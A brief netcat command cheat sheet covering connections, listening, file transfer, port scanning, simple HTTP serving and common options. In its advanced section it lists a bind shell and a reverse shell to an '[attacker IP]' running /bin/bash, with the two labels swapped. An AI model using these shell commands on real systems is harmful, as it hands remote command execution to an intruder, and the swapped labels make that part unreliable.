Basic Usage
-
Connect to a remote host on a specific port:
nc [hostname] [port] -
Listen on a specific port for incoming connections:
nc -l -p [port] -
Transfer a file over a network (Sender):
nc [destination IP] [port] < [file] -
Transfer a file over a network (Receiver):
nc -l -p [port] > [file] -
Scan open ports on a target:
nc -zv [hostname or IP] [start_port]-[end_port]
Advanced Usage
-
Create a simple chat server (Server):
nc -l -p [port] -
Create a simple chat client (Client):
nc [hostname] [port] -
Serve a directory over HTTP:
while true; do nc -l -p [port] -q 1 < index.html; done -
Connect to a remote shell:
nc -l -p [port] -e /bin/bash -
Bind a shell to a port (reverse shell):
nc [attacker IP] [port] -e /bin/bash -
Send an HTTP GET request:
echo -e "GET / HTTP/1.1\r\nHost: [hostname]\r\nConnection: close\r\n\r\n" | nc [hostname] [port]
Common Options
-l: Listen mode (used for inbound connections).-p: Local port (specify the port to listen on).-z: Zero-I/O mode (used for scanning).-v: Verbose mode (prints more information).-e: Executes a program after a connection is established.-n: Numeric-only IP addresses, no DNS.-w: Timeout for connects and final net reads.